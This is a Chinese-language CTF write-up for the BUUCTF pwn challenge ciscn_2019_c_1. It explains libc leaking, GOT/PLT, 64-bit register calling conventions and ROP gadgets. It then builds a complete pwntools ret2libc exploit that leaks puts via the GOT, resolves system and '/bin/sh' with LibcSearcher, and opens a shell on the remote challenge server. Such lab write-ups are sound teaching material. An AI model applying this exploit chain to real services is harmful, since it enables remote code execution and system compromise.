目录
按步骤来,首先还是check一下基本信息
可以得到的基本信息有:64位,小端序,开启了NX保护
然后再到IDA64中看看,和以前遇到的pwn题不一样,这里并没有找到后门函数或者其他能利用的,又是学习时间~
但还是先看一下代码的逻辑:
感觉主要是encrypt函数
可以看到第10行有一个gets可以造成溢出,这里用到的是libc泄露,并且还得掌握下面的知识点
1.libc泄露
(1)什么是libc:一个C语言的标准库,包含printf malloc system 等函数
(2)libc泄露+ROP攻击:如果我们得到了libc的基地址,发现system函数在0xdeadbeef处,当我们又拿到了偏移量的话,就可以向(基地址+-偏移量)扔代码执行恶意操作。
(4)libc库的保护机制:ASLR随机化可以在程序每次运行时随机化libc的基地址,使攻击者难以直接猜测到system等关键的地址。
所以总结一下上面的内容,我们需要得到基地址和偏移量,才能找到system的精确位置从而注入代码。 但是还是得再先学习一下下面的内容(我更喜欢记例子):
2.GOT表和PLT表
1.GOT表和PLT表:在一个图书馆内(程序)图书馆的书架(内存)每天都会发生变化(ASLR随机化),我们需要一种动态的索引系统来快速定位书籍《算法导论》(外部函数),就需要用到GOT和PLT表。
(1)GOT表:图书管理员在开馆时,根据最新的书架布局来更新索引号。使得我们可以通过该索引号来得知《算法导论》在哪个书架的第几层。
(2)PLT表:想象成找《算法导论》的分布步骤:先去服务台(PLT)服务台会根据索引(GOT)来告诉我们书的位置。PLT表中存储的就是一系列的汇编代码片段,每个片段都对应一个外部函数的调用处理逻辑。
当程序第一次调用某个外部函数时,会跳转到PLT表中该函数对应的条目。PLT表中的代码会首先检查GOT表中该函数的条目是否已经被填充了实际地址,如果没有,动态链接器会查找该函数的实际地址并填充到GOT表中;如果有,就可以直接调用函数。
借助代码来辅助记忆就是(这里借助这位师傅的理解方法~):
什么是gadget,以及64位libc如何泄露的问题_gadgets ctf什么意思-优快云博客
plt['read']->GOT['read'].address
GOT['read']->read.address
# 相当于是一种映射关系
从上面学习的内容就可以知道,想要实现libc泄露,可以借助GOT表的泄露。
3.64位和32位的区别
64位和32位程序在函数传参方面是不同的。
(1)在32位程序中,优先用栈来传递参数,并且参数由右向左压栈,比如func(a,b,c)压栈顺序就是 c,b,a
(2)而在64位程序中,其调用约定要分操作系统。如果是linux,前6个整数参数依次通过寄存器rdi rsi rdx rcx r8 r9 ;如果是Windows,前4个参数通过寄存器 rcx rdx r8 r9 来传递。
(3)也就是说,在32位下的栈溢出,由于参数在栈上连续存放,溢出时可直接覆盖返回地址并直接布置参数。
如:[填充缓冲区] + [覆盖返回地址(如system函数地址)] + [参数地址(如"/bin/sh")]
但在64位下,参数是通过寄存器来传递的,既然是通过寄存器来传递的,我们需要让我们的/bin/sh参数的地址给到rdi(假设这里为第一位寄存器),而/bin/sh参数中的地址是在libc中获取的。
如:[填充缓冲区] + [pop rdi; ret的地址] + ["/bin/sh"的地址] + [system函数地址]
所以,对于64位程序的溢出需要一些“特殊手段”将参数放进寄存器后再进入函数,这段代码就是gadget,就如上面提到的: pop rdi;ret
4.gadget
Gadget是一段存在于程序二进制代码中的短小的机器码片段,通常以ret(返回)指令结尾。这些片段是程序原本就存在的代码,攻击者可以利用它们组合起来,该变程序的流程,完成一些操作,而无需向内存中注入新的恶意代码。
由于64位传参时通过寄存器传参,我们可以使用gadget来实现控制寄存器的值,从而达到控制函数参数的值。
5.做法
这个时候gadget就不再深入讲了,不然到时候又绕晕了,等用到了再说。回顾一下上面,其实就是泄露函数以及传参两个步骤。
(1)获取gadget的地址
如果我们要调用函数,要经过 p64(pop_rdi_ret)+p64(/bin/sh_address)+p64(system_address)即可成功调用函数,故第一步我们需要先获得gadget这小段机器码的地址,这里用到的工具是ROPgadget
这里只用到了第一个寄存器 rdi ,故可以直接运行该指令 (Ubuntu下)
ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"
找到了 pop_rdi_ret 的地址为0x400c83
(2)绕过strlen
回到之前的Encrypt函数
我们输入的s会被后面的if判断进行一系列的异或操作,想想有没有办法可以直接break不进入后面
看到strlen这个函数,strlen函数默认以 '\0' 作为字符串的结束条件,如果我们能在输入时讲 \0 放在首位的话,就能够绕过了!
(3)代码
以下的代码主要参考的是这位师傅的,而且这位师傅的一些思考点也很值得我学习!
BUUCTF ciscn_2019_c_1_byteswarning: text is not bytes; assuming ascii, n-优快云博客
按步骤来,其实也并不是非常麻烦
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
然后我们除了要和题机通信外,还要得到偏移量,这里需要引入一个无关函数(我是这么理解的,好比间接求出偏移量),我们这里看到的是puts函数
从而才需要下面的ELF
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
r=remote('node5.buuoj.cn',25784)
elf=ELF('C:/xx/xx/ciscn_2019_c_1')
# 加载本地的二进制文件,用于后续获取程序中的符号地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
这里再写上后面要用的几个地址。(反正到时候写到了也会用到的)
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
r=remote('node5.buuoj.cn',25784)
elf=ELF('C:/xx/xx/ciscn_2019_c_1')
# 加载本地的二进制文件,用于后续获取程序中的符号地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28 # 为了第一次溢出后能重新返回到main而执行第二次溢出
pop_rdi_addr=0x400c83
ret_addr=0x4006B9
这里main的地址可以在IDA中看到,pop_rdi和ret的地址用ROPgadget可以看到
然后我们应该是要进行两次溢出过程的,第一次溢出要能泄露出libc的地址,第二次就是pwn
但是第一次溢出如何进行呢?我们采用的是gets函数溢出,再回到IDA看一下s数组
发现这里离rbp距离为50h,而我们s的开头的第一个元素还得用/x00来绕过那些异或,并且还得覆盖rbp,所以就应该这样构造payload
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
r=remote('node5.buuoj.cn',25784)
elf=ELF('C:/xx/xx/ciscn_2019_c_1')
# 加载本地的二进制文件,用于后续获取程序中的符号地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28 # 为了第一次溢出后能重新返回到main而执行第二次溢出
pop_rdi_addr=0x400c83
ret_addr=0x4006B9
# 第一次溢出
r.sendlineafter(b'Input your choice!\n',b'1')
payload=b'\x00'+b'a'*(0x50-1+8) # -1 是/x00,+8是覆盖rbp
然后是泄露libc的地址,采取的顺序如下:
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
r=remote('node5.buuoj.cn',25784)
elf=ELF('C:/xx/xx/ciscn_2019_c_1')
# 加载本地的二进制文件,用于后续获取程序中的符号地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28 # 为了第一次溢出后能重新返回到main而执行第二次溢出
pop_rdi_addr=0x400c83
ret_addr=0x4006B9
# 第一次溢出
r.sendlineafter(b'Input your choice!\n',b'1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi_addr)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
我们在上面已经学习过GOT表和PLT表,当执行pop_rdi时,寄存器rdi需要存入一个参数,于是我们第二个接上 puts_got,即,将puts函数在got表中的地址交给rdi,这样后面ret会让puts_plt接收到rdi里存的puts_got,从而输出puts在libc中的真实地址,从而达到libc泄露。最后才返回到main函数准备二次溢出。
然后我们需要得到泄露的地址
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
r=remote('node5.buuoj.cn',25784)
elf=ELF('C:/xx/xx/ciscn_2019_c_1')
# 加载本地的二进制文件,用于后续获取程序中的符号地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28 # 为了第一次溢出后能重新返回到main而执行第二次溢出
pop_rdi_addr=0x400c83
ret_addr=0x4006B9
# 第一次溢出
r.sendlineafter(b'Input your choice!\n',b'1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi_addr)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.recvuntil(b'Ciphertext\n')# 清空后续无关输出
r.recvuntil(b'\n')# 清空后续无关输出
puts_addr=u64(r.recvline()[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
(1)当我们成功发送payload后,会执行ROP链的过程,输出puts的地址,但是由于程序后续的输出"Ciphertext"和"\n",我们想要获得“干净”的地址需要将这些给舍弃掉。
(2)然后利用recvline接收包含泄露地址的一行数据(比如b'\x7f\x12\x34\x56\x78\x90\x0a' # 最后的 \x0a 是换行符 \n 的 ASCII 码)所以需要去掉行尾的换行符,故采用切片操作[:-1]
(3)u64用于将8字节数据按小端序解析为64位整数,故需要ljust将数据填充到8字节
这样就可以得到puts的地址了,然后利用得到的地址计算所需要的/bin/sh system 字符地址
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
r=remote('node5.buuoj.cn',25784)
elf=ELF('C:/xx/xx/ciscn_2019_c_1')
# 加载本地的二进制文件,用于后续获取程序中的符号地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28 # 为了第一次溢出后能重新返回到main而执行第二次溢出
pop_rdi_addr=0x400c83
ret_addr=0x4006B9
# 第一次溢出
r.sendlineafter(b'Input your choice!\n',b'1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi_addr)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.recvuntil(b'Ciphertext\n')# 清空后续无关输出
r.recvuntil(b'\n')# 清空后续无关输出
puts_addr=u64(r.recvline()[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
bin_sh_addr=offset+libc.dump('str_bin_sh')
system_addr=offset+libc.dump('system')
然后就可以进行第二次溢出了,下面是最终的代码
from pwn import *
from LibcSearcher import *
# 当泄露出部分libc函数的地址后,就可以使用LibcSearcher来进一步获取所需的其他函数地址
r=remote('node5.buuoj.cn',25784)
elf=ELF('C:/xx/xx/ciscn_2019_c_1')
# 加载本地的二进制文件,用于后续获取程序中的符号地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400B28 # 为了第一次溢出后能重新返回到main而执行第二次溢出
pop_rdi_addr=0x400c83
ret_addr=0x4006B9
# 第一次溢出
r.sendlineafter(b'Input your choice!\n',b'1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi_addr)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.recvuntil(b'Ciphertext\n')# 清空后续无关输出
r.recvuntil(b'\n')# 清空后续无关输出
puts_addr=u64(r.recvline()[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
bin_sh_addr=offset+libc.dump('str_bin_sh')
system_addr=offset+libc.dump('system')
# 第二次溢出
r.sendlineafter(b'choice\n',b'1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(ret_addr)
payload+=p64(pop_rdi_addr)
payload+=p64(bin_sh_addr)
payload+=p64(system_addr)
r.sendlineafter('encrypted\n',payload)
r.interactive()
与第一次溢出不同的是,这里引入了ret。与我想象的不一样,这里deepseek给我的解释是:使用ret指令,会从栈中弹出返回地址(8字节),而要求:函数调用时栈指针必须16字节对齐。所以需要用到这个ret。并且弹出的8字节正好就是我们的pop_rdi_addr 从而执行后面的操作
运行程序
这个就是ELF的结果
这个是LibcSearcher ,需要我们选择,这里我们选择第一个,再运行,就可以得到flag了
6.总结
回顾一下我们学到的知识
1.libc的泄露原理,libc的保护机制
2.GOT表和PLT表之间的关系
3.64位和32位在传参方面的区别
4.gadget是什么